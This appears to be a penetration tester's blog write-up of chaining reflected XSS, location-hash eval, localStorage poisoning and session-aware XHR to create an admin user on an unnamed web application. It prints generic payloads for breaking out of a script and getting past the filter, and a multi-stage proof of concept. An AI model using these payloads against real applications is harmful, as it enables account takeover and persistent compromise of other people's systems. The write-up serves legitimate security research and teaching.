Creatively Chaining XSS Techniques

Walter Oberacher
6 min readOct 4, 2020

--

…and abusing localStorage, again!

I am willing to share a story about one of my latest exploitations, and how this was both fun and interesting.

As I cannot disclose the details about the product I was testing, I will have to abstract and make some generic examples. So you won’t find any actual working exploit on some specific target.

What I want to focus on is how to mix XSS techniques to develop a chained exploit, and prove impact while doing so.

The Scope

For the sake of context, let’s say the target was an on-premise instance of a Java Web Application, using a PostgreSQL DB and highly dependant on Javascript functions, be it for rendering, translation or in-app functionalities. As I discovered during my hunt, using and abusing localStorage for various tasks.

The solution also implements his own anti-XSS detection mechanism, which avoids rendering pages if the request or the response contains “suspicious content”.

Approach was a mix of white and black box, so greybox it is.

Finding #1

As soon as I decided to try the path of XSS and deepen the interface features, by manually testing and reviewing the source code I discovered the login process was looking for the location hash and, if it contained a certain value, would put it inside a localStorage variable for later use.

Let’s say it was looking for something like “#/value”, I was able to arbitrarily validate any content like “#somearbitraryvalue#/value”, and have it inside the localStorage variable.

Sadly, this value couldn’t be weaponized and no vulnerability could be triggered, as the variable would be updated later.

Point taken, but keeping a note of this.

Let’s call this “logonvar”.

Finding #2

By searching for viable entry points in an authenticated user session, I found some interesting source code which would take two GET parameters and use them to render some HTML and Javascript code. Later I found out this page was called by some XHR and meant to be included in a functionality popup window.

The page was browsable nonetheless and the parameters could be passed, and rendered on a half broken page.

Now, the generated code would be something like this:

function DoSomething()
{
. . .
req.onreadystatechange = function()
{
if (req.readyState == 4 && req.status == 200)
{
if(req.responseText != null && req.responseText != "")
{
. . .
somevar = "paramone=<first injection point>&paramtwo=<second injection point>";
callingotherfunction(someuselessgarbage);
}
else
{
. . .
}
}
}
}
}

As you can see I had “paramone” and “paramtwo” to play with, and I could actually inject whatever I wanted, but I incurred in two issues:

  1. “DoSomething()” wasn’t called anywhere inside the rest of the page and I couldn’t find any way to trigger that, framing was not an option
  2. The in-app XSS filter would block great part of the well known exploit vectors

How far could I push the injection and what could I do to get to a point where code would be executed? Script opening tags weren’t allowed, special characters like brackets were returning a 500 errors, so my bet ended up on this payload:

xxx;";}}}}}</script><!--

…and fully URL encode it and use it like this:

GET /page?paramone=%78%78%78%3B%22%3B%7D%7D%7D%7D%7D%3C%2F%73%63%72%69%70%74%3E%3C%21%2D%2D

I won the bet and the rendered code was like this:

function DoSomething()
{
. . .
req.onreadystatechange = function()
{
if (req.readyState == 4 && req.status == 200)
{
if(req.responseText != null && req.responseText != "")
{
. . .
somevar = "paramone=xxx;";}}}}}</script><!--&paramtwo=";
callingotherfunction(someuselessgarbage);
}
else
{
. . .
}
}
}
}
}

What I did there was to close the first parameter string, put enough brackets to close the function declaration, close the script and comment the rest of the HTML to avoid further rendering and conflicting code with my exploitation attempt.

Now I had some playground to play in:

xxx;”;}}}}}HERE</script>

Opening script tag was not allowed, typical XSS payloads were blocked, but finally I was able to trigger the XSS by using the eval function and the location hash, like this:

/page?paramone=xxx;";}}}}}eval(location.hash.slice(1));</script><!--#alert('XSS')

After URL encoding the payload, this worked! Nothing strange, but why stop there? It could only pop a message, nothing more “useful” than that.

Finding #3

While testing the application’s surface, I noticed that a really big localStorage variable was set, on certain circumstances, which would contain the whole language translation of entire menus, functionalities and links.

Let’s call this “languagevar”.

Soooo, what if I had to put something bad in there, and turn the previous finding in something persistent?

To achieve that, I would have had to make sure that:

  1. the page creating a legitimate “languagevar” was loaded
  2. my payload could actually read and edit the var
  3. the user would then open a page using the translations and trigger the exploit

I was able to, by doing the following:

// Put the page which load the language var inside an iframe
iframe.style.display = "none";
iframe.src = "somepage";
document.body.appendChild(iframe);
// Replace all alt tags with img tags, with onerror payload. The final payload would be an eval of some base64 value I would arbitrarily inject in a random localStorage variable (used document.domain to avoid filtering)
localStorage.setItem("languagevar",localStorage.getItem("languagevar").replaceAll("<a","<img src='x' onerror='eval(atob(localStorage.getItem(document.domain)))'"));
// Redirect to the page that actually uses the content of the language var
setTimeout(function(){location.href="someotherpage";},10000);

The most useful and interesting part in this, is that the code coming from “languagevar” is trusted by the anti-XSS filter, so anything goes!

Well, now I successfully gained persistence on different levels of the application.

What more? Now I wanted to force some interaction!

Finding #4

As I already stated, the application highly relies on Javascript for the majority of its tasks.

If the hint wasn’t enough, this means that it had to have some way to manage http-only cookies and anti-xsrf tokens.

Apparently, the developers opted for customizing the XMLHttpRequest class to include the managing of sessions and tokens, so every damn XHR request to the same domain would automagically be a valid request in the context of the user’s session.

Lucky me!

Putting it all together

Following the train of thoughts, I ended up with:

Finding #1: I could inject localStorage’s “logonvar”

Finding #2: I found an entry point for XSS

Finding #3: I was able to manipulate localStorage’s “languagevar”

Finding #4: every XHR request was a valid request inside the app

By now, my objective was to be able to forge a link to send to an administrative user, which upon opening would:

  1. use the current session or allow login, injecting “logonvar” in both cases
  2. redirect to the page vulnerable to cross site scripting, which would store the payload into “languagevar”
  3. redirect to a specific legitimate page to trigger the payload inside “languagevar”
  4. make XHR do some administrative tasks, in the context of the user’s session, like creating a new administrator user

Point 4 is actually just for proof of concept, as getting there would already mean having a persistent XSS with full control on the user’s activity on the application.

To create the PoC I followed these steps:

  • payload step 1 (preparing the XHR):
var xmlhttp = new XMLHttpRequest();
var theUrl = "/adduser";xmlhttp.open("POST", theUrl);
xmlhttp.setRequestHeader("Content-Type", "<custom content type>");
xmlhttp.send("{\"<json request to create an admin user>\"}");
  • payload step 2 (timing and chaining the code):
window.onload=function(){
var iframe = document.createElement('iframe');
iframe.addEventListener("load", function() {setTimeout(function(){
cookieVar='<needed for the XHR>';
localStorage.setItem(document.domain,"<Base64 of payload step 1>");
localStorage.setItem("languagevar",localStorage.getItem("languagevar").replaceAll("<a","<img src='x' onerror='eval(atob(localStorage.getItem(document.domain)))'"));},1000)});
iframe.style.display = "none";
iframe.src = "/page_that_loads_languagevar";
document.body.appendChild(iframe);
setTimeout(function(){location.href="/page_that_uses_language_var";},10000);}
  • payload step 3 (chaining into the XSS GET parameter):
xxx;";}}}}}localStorage.setItem("loginvar","#<Base64 of payload step 2>");eval(atob(localStorage.getItem("loginvar").slice(1)));</script><!--

The final payload was like this (a very long URL encoded string).

https://<victimappurl>/xss_entry_page?paramone=<URL encoded payload step 3>&paramtwo=yyyy

I tested it and, upon opening it:

  1. I was shown the login form of the application
  2. I got a redirect to the vulnerable page
  3. (forced wait for proof of concept)
  4. Got another redirect to a settings page of the app
  5. Administrative user was created
  6. The code inside “languagevar” would be run every time I accessed the application, even after reboots and on new session, from the same browser

Conclusion

Nothing special, but I had fun exploiting this and it seemed like a good example of XSS exploitation chain.

The above scenario shows actual use of different techniques, mixed and chained together to obtain a higher compromise than the simpler reflected XSS.

To summarize, I used and abused localStorage, location hash, Base64 and URL encoding to bypass anti-XSS filters and gain persistence, all of them on different “endpoints”. The win here is caused by not leaving them alone, having a broader view on the application’s logics and mixing it all together, to finally be in the POSITION to run the critical XHR payload.

So, I hope lesson is learned and keep in mind: if you need to open that door, try to get to an open window. There might be a key in reach, maybe the one for the door you need open.

--

--

Walter Oberacher

Ethical Hacker and a System Engineer, I try to be a researcher / bounty hunter / CTF player whenever I get the chance.